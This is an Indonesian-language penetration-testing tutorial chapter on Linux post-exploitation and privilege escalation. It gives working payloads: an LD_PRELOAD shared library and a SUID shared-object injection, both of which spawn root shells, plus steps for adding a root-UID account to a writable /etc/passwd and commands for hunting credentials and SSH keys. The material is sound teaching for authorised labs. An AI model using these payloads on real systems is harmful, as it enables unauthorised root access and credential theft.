Skip to content

Chapter 8: Post-Exploitation dan Privilege Escalation Basics

Apa itu Post-Exploitation

Post-exploitation adalah fase setelah tester mendapatkan akses awal ke sistem target dalam scope yang sah. Akses awal bisa berupa akun biasa, shell terbatas, akses panel aplikasi, atau sesi remote dengan hak akses rendah.


Apa itu Privilege Escalation

Privilege Escalation adalah proses meningkatkan hak akses dari level rendah ke level yang lebih tinggi pada sistem.

Contoh umum:

  • Dari user biasa menjadi root di Linux
  • Dari user biasa menjadi Administrator atau NT AUTHORITY\SYSTEM di Windows
  • Dari service account terbatas menjadi account dengan akses file, database, atau konfigurasi sensitif

Jenis Privilege Escalation

JenisPenjelasanContoh
Vertical Privilege EscalationHak akses naik dari user biasa ke admin/rootuser www-data menjadi root
Horizontal Privilege EscalationAkses berpindah ke user lain dengan level setarauser A membaca file user B

Prinsip Aman saat Privilege Escalation

Privilege escalation adalah fase yang sensitif karena tester sudah berada di dalam sistem. Gunakan prinsip berikut:

  • Lakukan hanya pada sistem yang jelas masuk scope atau lingkungan yang memang disediakan untuk latihan
  • Prioritaskan enumerasi pasif sebelum mencoba tindakan yang mengubah sistem
  • Hindari menjalankan exploit publik tanpa memahami dampaknya

Legal First

Materi ini ditujukan untuk pembelajaran, CTF, lingkungan internal yang sah, atau penetration test dengan izin tertulis. Jangan mencoba privilege escalation pada sistem yang bukan milik sendiri atau tidak masuk scope.


Privilege Escalation di Linux

Pada Linux, target tertinggi biasanya adalah root. Namun dalam laporan pentest, dampak tidak selalu harus dibuktikan dengan mengambil alih shell root. Akses ke file konfigurasi, private key, database credential, atau kemampuan menjalankan satu command sensitif sebagai user lain juga bisa menjadi temuan serius.

Privilege escalation di Linux umumnya dimulai dari enumerasi yang rapi. Tester perlu memahami identitas user saat ini, versi sistem, permission file, service yang berjalan, dan kebiasaan konfigurasi administrator. Dari situ, pola risikonya mulai terlihat: ada credential yang tertinggal, binary yang diberi permission terlalu tinggi, sudo rule yang terlalu longgar, cron job yang memanggil script writable, atau service lama yang belum dipatch.

Bagian ini membahas jalur-jalur Linux privilege escalation yang paling sering muncul pada skenario latihan, CTF, dan pekerjaan penetration testing. Fokusnya bukan menghafal payload, tetapi memahami kenapa sebuah konfigurasi berbahaya, bagaimana membuktikan dampaknya dengan aman, dan bagaimana menulis rekomendasi perbaikannya.

Ringkasan area yang akan dibahas:

AreaKonsep UtamaEvidence Utama
Kernel exploitsOS lama atau kernel rentanuname -a, output exploit suggester
Stored passwordsCredential di config dan historyfile config, .bash_history, path dan permission
Weak file permissionsFile sensitif readable/writablels -la /etc/shadow, /etc/passwd
SSH keysPrivate key terbukapath id_rsa, owner, permission
Sudo attacksShell escape, intended functionality, LD_PRELOADsudo -l, env_keep, binary yang diizinkan
SUID attacksShared object, symlink, environment variablefind / -perm -4000, strings, strace
CapabilitiesCapability berbahaya pada binarygetcap -r /
Cron attacksPATH, wildcard, file overwrite/etc/crontab, permission script
NFS root squashingExport dengan no_root_squash/etc/exports, showmount -e

1) Basic Enumeration dan Baseline

Mulai dari memahami konteks sistem.

bash
# Hostname
hostname

# Kernel version
uname -a
cat /etc/*release 2>/dev/null

# Show running processes
ps aux

# List users
cat /etc/passwd

# Show environment variables
env

# Show current user and group
id

# Show current working directory
pwd

# Show listening network services
ss -ltpn

Hal yang dicari:

  • User saat ini
  • Group yang dimiliki user
  • Versi kernel dan distribusi Linux
  • Direktori kerja saat ini
  • Environment variable yang mungkin berisi credential atau path menarik
  • Services yang berjalan di sistem
  • Binary dan direktori custom seperti /usr/local/bin, /opt, atau direktori aplikasi internal
  • File milik root yang bisa dibaca atau ditulis user biasa

2) Kernel Exploits

Kernel exploit memanfaatkan vulnerability pada kernel atau komponen OS. Jalur ini biasanya dicoba ketika sistem memakai kernel lama, patch keamanan tertinggal, atau distro sudah end-of-life. Karena efeknya bisa sangat besar, kernel exploit harus diperlakukan sebagai opsi berisiko tinggi, bukan langkah pertama.

Enumerasi awal:

bash
uname -a
cat /etc/issue
cat /etc/*release 2>/dev/null
ls -la /opt /usr/local/bin 2>/dev/null

Bisa menggunakan linux-exploit-suggester untuk mendapatkan daftar exploit yang mungkin bisa digunakan. Jika menggunakan exploit suggester, perlakukan hasilnya sebagai hipotesis, bukan bukti final. Tool seperti ini sering memberi beberapa kandidat exploit yang masih perlu diverifikasi dengan versi OS, arsitektur, dependency compiler, konfigurasi kernel, dan mitigasi yang aktif.

Checklist analisis:

  • Cocokkan versi kernel dengan exploit yang disarankan
  • Baca deskripsi exploit sebelum compile atau menjalankan binary
  • Cek apakah exploit mengubah file sistem, user, password, atau binary penting
  • Jalankan hanya pada sistem pengujian yang boleh di-reset
  • Dokumentasikan command deteksi, versi kernel, nama vulnerability, dan hasil validasi

Risiko Kernel Exploit

Kernel exploit bisa membuat sistem crash, merusak file, atau meninggalkan perubahan permanen. Pada lingkungan pentest nyata, jangan menjalankan kernel exploit tanpa approval eksplisit. Untuk laporan produksi, cukup tulis "potentially vulnerable" jika belum ada izin validasi aktif.

Salah satu kernel exploit yang pernah populer dulu adalah dirtycow. Exploit ini sendiri memiliki banyak variant PoC

3) Stored Passwords di Config Files dan History

Credential sering bocor bukan karena vulnerability teknis yang rumit, tetapi karena password disimpan di tempat yang tidak semestinya. File konfigurasi, script deployment, backup, VPN profile, dan shell history sering menjadi sumber informasi yang sangat berharga setelah tester mendapat akses awal.

Lokasi yang layak diperiksa:

bash
find /home -type f \( -name "*.conf" -o -name "*.config" -o -name "*.ovpn" \) 2>/dev/null
grep -Rni "pass\\|password\\|passwd\\|user\\|credential\\|secret" /home /opt /var/www 2>/dev/null
cat ~/.bash_history 2>/dev/null

Hal yang perlu dipahami:

  • File .ovpn, config aplikasi, atau file chat client dapat menyimpan path ke file credential.
  • .bash_history kadang berisi command login, password yang tidak sengaja diketik, atau command database.
  • Credential yang ditemukan bisa digunakan untuk horizontal privilege escalation ke user lain, lalu vertical privilege escalation dari user baru tersebut.

4) Weak File Permissions: /etc/shadow dan /etc/passwd

File autentikasi lokal adalah salah satu area paling sensitif di Linux. /etc/passwd menyimpan daftar user, UID, GID, home directory, dan shell. /etc/shadow menyimpan hash password dan seharusnya hanya dapat dibaca oleh root atau group khusus. Jika permission kedua file ini salah, tester bisa membaca hash untuk cracking offline atau, pada kondisi lebih buruk, memodifikasi akun lokal.

Struktur /etc/shadow

Struktur /etc/shadow

Struktur /etc/passwd

Struktur /etc/passwd

Contoh satu entry /etc/passwd:

text
root:x:0:0:root:/root:/bin/bash

Strukturnya dibaca dari kiri ke kanan:

FieldContohFungsi
UsernamerootNama akun lokal
Password placeholderxPenanda bahwa hash password disimpan di /etc/shadow
UID0User ID; UID 0 berarti privilege setara root
GID0Group ID utama untuk user tersebut
GECOS/commentrootInformasi deskriptif user
Home directory/rootDirektori home user
Login shell/bin/bashShell yang dijalankan saat user login

Permission normal:

bash
ls -la /etc/passwd /etc/shadow
stat /etc/passwd /etc/shadow

Umumnya:

text
-rw-r--r-- 1 root root   ... /etc/passwd
-rw------- 1 root shadow ... /etc/shadow

Risiko:

KondisiDampak
/etc/shadow readable oleh user biasahash password dapat diekstrak untuk cracking offline
/etc/passwd writable oleh user biasauser dapat memanipulasi entry akun lokal
/etc/shadow writable oleh user biasapassword akun privileged dapat diganti atau dilemahkan

Langkah eksploitasi jika /etc/passwd writable oleh user biasa:

  1. Siapkan password yang akan digunakan untuk menambahkan akun baru
bash
openssl passwd -6 <password>
  1. Backup file /etc/passwd agar bisa dikembalikan jika diperlukan
bash
cp /etc/passwd /etc/passwd.bak
  1. Edit file /etc/passwd/ lalu copy entry dari user root dan paste ke akhir file dengan username baru
  2. Ganti x dengan hash password yang telah disiapkan sebelumnya. Kemudian simpan perubahan.
  3. Switch ke akun yang baru saja ditambahkan dan coba login
bash
su <username>

5) SSH Keys

Private key SSH yang terbuka dapat menjadi jalur eskalasi jika key tersebut milik user privileged atau root. Dalam banyak insiden, akses awal tidak langsung memberikan privilege tinggi, tetapi membuka jalan untuk membaca file milik user lain. Jika di dalamnya ada private key yang tidak terlindungi, attacker bisa berpindah akun tanpa perlu mengeksploitasi service tambahan.

Enumerasi:

bash
find / -type f \( -name id_rsa -o -name id_dsa -o -name id_ecdsa -o -name id_ed25519 \) 2>/dev/null
ls -la /home/*/.ssh 2>/dev/null

Yang perlu dianalisis:

  • Apakah private key bisa dibaca oleh user saat ini
  • Key milik siapa
  • Apakah SSH aktif dan reachable
  • Apakah key tidak memiliki passphrase atau passphrase bisa diketahui dari file lain

Validasi biasanya dilakukan dengan:

bash
chmod 400 id_rsa
ssh -i id_rsa user@target

6) Sudo Permission dan GTFOBins

sudo memungkinkan user menjalankan command sebagai user lain, biasanya root. Fitur ini sah dan sangat umum dipakai untuk administrasi Linux, tetapi rule yang terlalu longgar bisa berubah menjadi jalur privilege escalation. Dalam pengujian, sudo -l hampir selalu menjadi salah satu command pertama karena hasilnya langsung menunjukkan batas kewenangan user saat ini.

bash
sudo -l

Perhatikan output seperti:

  • Command yang boleh dijalankan tanpa password
  • Command yang berjalan sebagai root
  • Wildcard pada path
  • Script custom yang dapat ditulis user biasa

Contoh risiko:

TemuanRisiko
NOPASSWD untuk command tertentuuser dapat menjalankan command privileged tanpa password
Script sudo bisa diedit user biasauser dapat menyisipkan perintah tambahan
Wildcard pada path commandcommand injection atau path manipulation
Binary interaktif seperti editor/pagerbisa membuka shell atau membaca file sensitif
env_keep+=LD_PRELOADshared library user dapat dimuat oleh proses sudo

GTFOBins adalah referensi teknik untuk menyalahgunakan binary Linux yang diberi permission khusus, misalnya melalui sudo, SUID, capabilities, atau file read/write. Dalam konteks belajar, GTFOBins membantu kita memahami kenapa binary yang terlihat biasa seperti editor, pager, archiver, atau interpreter bisa berbahaya jika dijalankan sebagai root.

Contoh alur analisis:

  1. Jalankan sudo -l.
  2. Catat binary yang boleh dijalankan sebagai root.
  3. Cari binary tersebut di GTFOBins.
  4. Pilih teknik sesuai konteks, misalnya sudo, SUID, atau file read.
  5. Validasi dampak seminimal mungkin dan catat evidence.

Sudo Shell Escaping

Shell escaping terjadi ketika program yang dijalankan via sudo memiliki fitur menjalankan command lain. Editor, pager, interpreter, debugger, dan tool scripting sering masuk kategori ini.

Contoh yang perlu dianalisis:

  • vim, less, man, find, awk, nmap, python, perl
  • Program yang memiliki mode interaktif
  • Program yang dapat membaca file arbitrary sebagai root

Sudo Abusing Intended Functionality

Tidak semua penyalahgunaan sudo membutuhkan shell escape. Kadang binary memang memiliki fitur sah untuk membaca file, memuat konfigurasi, atau membuka path tertentu. Jika binary tersebut dijalankan sebagai root, fitur normalnya dapat membuka data yang seharusnya tidak bisa dibaca user biasa.

Pertanyaan analisis:

  • Apakah command dapat membaca file arbitrary
  • Apakah command dapat menulis output ke path arbitrary
  • Apakah command dapat memuat config dari path user
  • Apakah command dapat memanggil plugin, module, atau script

Contoh yang sering ditemui adalah cat, tar, cp, rsync, atau tee yang diberi akses sudo. Binary seperti ini tidak selalu memberikan shell, tetapi fungsi normalnya sudah cukup berbahaya jika dijalankan sebagai root.

Misalnya output sudo -l menunjukkan user boleh menjalankan cat sebagai root:

text
(root) NOPASSWD: /bin/cat

Secara normal, cat hanya membaca isi file. Namun ketika dijalankan melalui sudo, file yang sebelumnya tidak bisa dibaca user biasa dapat ikut terbaca karena prosesnya berjalan dengan privilege root. Dampaknya bisa berupa kebocoran hash password, private key, konfigurasi service, atau credential aplikasi.

Contoh:

bash
sudo cat /etc/shadow

Sudo LD_PRELOAD

LD_PRELOAD memungkinkan dynamic linker memuat shared library sebelum library lain. Pada konfigurasi sudo yang aman, environment berbahaya biasanya dibersihkan. Jika rule sudo mempertahankan LD_PRELOAD, user bisa memaksa program privileged memuat library yang dikontrol user.

Deteksi:

bash
sudo -l

Cari indikasi seperti:

text
env_keep+=LD_PRELOAD

Langkah eksploitasi:

  1. Siapkan shared library yang berisi kode berbahaya.
c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
  1. Compile shared library:
bash
gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles
  1. Transfer file jika shared library dicompile di mesin attacker.
  2. Jalankan binary dengan shared library:
bash
sudo LD_PRELOAD=/tmp/x.so /usr/bin/<binary>

7) SUID Binary

File dengan bit SUID berjalan menggunakan permission owner file tersebut. Jika owner-nya root, binary tersebut dapat menjalankan sebagian operasi dengan privilege root. SUID tidak otomatis berbahaya karena beberapa binary sistem memang membutuhkannya, tetapi SUID pada binary yang salah, custom, atau memiliki fitur escape dapat membuka eskalasi yang sangat cepat.

SUID Binary

Cari file SUID:

bash
find / -perm -4000 -type f 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null

Yang perlu dianalisis:

  • Apakah binary standar atau custom
  • Apakah owner-nya root
  • Apakah binary dapat membaca/menulis file
  • Apakah binary memiliki shell escape
  • Apakah versinya rentan
  • Apakah binary muncul di GTFOBins pada kategori SUID

Contoh output yang perlu diperhatikan:

bash
-rwsr-xr-x 1 root root 123456 /usr/bin/find
-rwsr-xr-x 1 root root 123456 /usr/bin/bash

SUID Shared Object Injection

Shared object injection terjadi ketika binary SUID mencoba memuat library dari path yang dapat dikontrol user. Jika library yang dicari tidak ada tetapi path parent writable, user dapat membuat library dengan nama yang diharapkan.

Deteksi:

bash
strace /path/to/suid-binary 2>&1 | grep -i -E "open|access|no such file"

Yang dicari:

  • Path .so yang tidak ditemukan
  • Apakah direktori tujuan writable
  • Apakah binary berjalan dengan SUID root

Langkah eksploitasi:

  1. Siapkan shared object yang akan diinject
bash
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
  1. Compile shared object dan copy ke direktori tujuan
bash
gcc -shared -o <output.so> -fPIC <file.c>
  1. Kemudian timpa file .so yang dicari dengan file yang telah dikompilasi

  2. Jalankan binary yang memiliki SUID root

SUID Environment Variables

Binary SUID custom sering memanggil command lain tanpa path absolut atau menggunakan shell secara tidak aman. Jika environment seperti PATH, exported function, atau shell tracing dapat dimanipulasi, user bisa mengarahkan binary untuk menjalankan command yang dikontrol user.

Deteksi:

bash
strings /path/to/suid-binary
ltrace /path/to/suid-binary 2>/dev/null
strace /path/to/suid-binary 2>&1 | grep -i exec

Yang dicari:

  • Command tanpa path absolut, misalnya service bukan /usr/sbin/service
  • Pemanggilan system(), popen(), atau shell
  • Dependensi pada environment variable

8) Linux Capabilities dan setcap

Linux capabilities membagi hak istimewa root menjadi beberapa kemampuan kecil. Tujuannya baik: sebuah binary bisa diberi kemampuan spesifik tanpa harus diberi SUID root penuh. Masalah muncul ketika capability berbahaya diberikan ke interpreter, shell, editor, atau binary custom yang bisa menjalankan command arbitrer.

Contoh capability:

CapabilityRisiko Jika Salah Konfigurasi
cap_setuidbinary dapat mengubah UID process dan berpotensi menjadi root
cap_setgidbinary dapat mengubah GID process

Untuk mencari binary yang memiliki capabilities:

bash
getcap -r / 2>/dev/null

Contoh output yang perlu diperhatikan:

bash
/usr/bin/python3 = cap_setuid+ep

Untuk cara eksploitasi bisa cek pada GTFOBins terlebih dahulu.

9) Command Hijacking pada Script

Command hijacking terjadi ketika script privileged memanggil command tanpa path absolut, lalu attacker mengontrol lokasi command yang akan dieksekusi. Pola ini sering muncul pada script backup, maintenance, deploy, atau monitoring yang dibuat cepat tanpa mempertimbangkan environment tempat script berjalan.

Contoh script rentan:

bash
#!/bin/bash
tar -czf /backup/app.tar.gz /var/www/html

Pada contoh tersebut, tar dipanggil tanpa path absolut seperti /usr/bin/tar. Jika script berjalan sebagai root dan environment PATH dapat dimanipulasi, command palsu bernama tar dapat dieksekusi lebih dulu.

Yang perlu dicari:

bash
find / -type f -name "*.sh" 2>/dev/null
find / -writable -type d 2>/dev/null
grep -R "tar\|cp\|mv\|chmod\|chown\|service" /opt /var/www /usr/local/bin 2>/dev/null

Checklist analisis:

  • Apakah script dijalankan oleh root atau user privileged
  • Apakah script menggunakan command tanpa path absolut
  • Apakah direktori script writable
  • Apakah PATH dapat dikontrol
  • Apakah script dipanggil oleh sudo, cron job, atau service

10) Cron Job, PATH, Wildcard, File Overwrite, dan pspy

Cron job menjalankan task otomatis pada interval tertentu. Dari sudut pandang attacker, cron menarik karena ia bisa menjalankan command tanpa interaksi manusia. Jika cron job berjalan sebagai root dan memanggil script atau command yang bisa dimodifikasi user biasa, privilege escalation bisa terjadi hanya dengan menunggu jadwal berikutnya.

Enumerasi cron:

bash
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /var/spool/cron/
systemctl list-timers 2>/dev/null

Hal yang dicari:

  • Cron job berjalan sebagai user apa
  • Script atau binary yang dipanggil
  • Apakah file target writable
  • Apakah direktori target writable
  • Apakah script memakai command tanpa path absolut
  • Apakah ada wildcard yang berbahaya

Contoh pola berisiko:

text
* * * * * root /opt/backup/backup.sh

Jika /opt/backup/backup.sh bisa ditulis user biasa, maka cron akan mengeksekusi perubahan tersebut sebagai root.

Cron PATH

Cron memiliki environment sendiri. Jika PATH di /etc/crontab memprioritaskan direktori writable user, script root yang memanggil command tanpa path absolut dapat menjalankan command palsu.

Deteksi:

bash
cat /etc/crontab
find / -writable -type d 2>/dev/null

Yang dicari:

  • PATH berisi direktori yang writable oleh user biasa
  • Cron root memanggil command tanpa path absolut
  • Nama command yang bisa ditiru di direktori writable

Cron Wildcards

Wildcard berbahaya ketika command seperti tar memproses nama file sebagai opsi. Jika attacker bisa membuat file dengan nama yang terlihat seperti flag command, wildcard dapat berubah menjadi eksekusi opsi tak terduga.

Deteksi:

bash
cat /usr/local/bin/compress.sh 2>/dev/null
grep -R "tar .*\\*" /etc/cron* /usr/local/bin /opt 2>/dev/null

Yang dicari:

  • Command backup menggunakan *
  • Direktori sumber backup writable oleh user biasa
  • Command yang memiliki opsi eksekusi command atau checkpoint

Cron File Overwrite

Jika script yang dijalankan cron root writable oleh user biasa, eskalasi menjadi langsung: user dapat menambahkan command yang akan dijalankan oleh root pada interval berikutnya.

Deteksi:

bash
cat /etc/crontab
ls -la /usr/local/bin/overwrite.sh 2>/dev/null
namei -l /usr/local/bin/overwrite.sh 2>/dev/null

Yang dicari:

  • File script writable
  • Direktori parent writable
  • Owner bukan root atau group write tidak perlu
  • Cron menjalankan script sebagai root

pspy

pspy adalah tool untuk melihat process yang berjalan tanpa perlu privilege root. Tool ini berguna untuk menemukan cron job, script otomatis, dan command periodik yang tidak terlihat dari file konfigurasi biasa.

Alur penggunaan:

bash
chmod +x pspy64
./pspy64

Yang dicatat dari output pspy:

  • Command yang muncul berulang
  • User yang menjalankan process
  • Path script atau binary
  • Interval eksekusi
  • Apakah ada file yang bisa ditulis user saat ini

11) NFS Root Squashing

NFS export yang menggunakan no_root_squash dapat membuat root dari client tetap dianggap root di share NFS. Dalam konfigurasi aman, root dari client biasanya dipetakan menjadi user tidak privileged agar tidak bisa membuat file root-owned di server. Jika proteksi ini dimatikan pada share writable, attacker dapat membuat file SUID dari sisi client lalu menjalankannya di target.

Deteksi di target:

bash
cat /etc/exports

Deteksi dari attacker machine atau AttackBox:

bash
showmount -e <target-ip>

Yang dicari:

  • export writable
  • opsi no_root_squash
  • versi NFS yang dapat di-mount dari attacker
  • path mount yang juga dapat diakses dari target

Konsep eksploitasi:

  1. Mount export NFS dari attacker machine.
  2. Buat binary atau file dengan owner root pada share tersebut.
  3. Beri bit SUID dari sisi client.
  4. Jalankan file tersebut dari target.

Hands-on

Latihan privilege escalation paling aman dilakukan di platform lab.

Linux

Room lab yang direkomendasikan:

Jika akses SSH muncul error Unable to negotiate with <target_ip> port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss, tambahkan opsi HostKeyAlgorithms ke command SSH:

bash
ssh -oHostKeyAlgorithms=+ssh-rsa TCM@<target_ip>

Windows

Room lab yang direkomendasikan: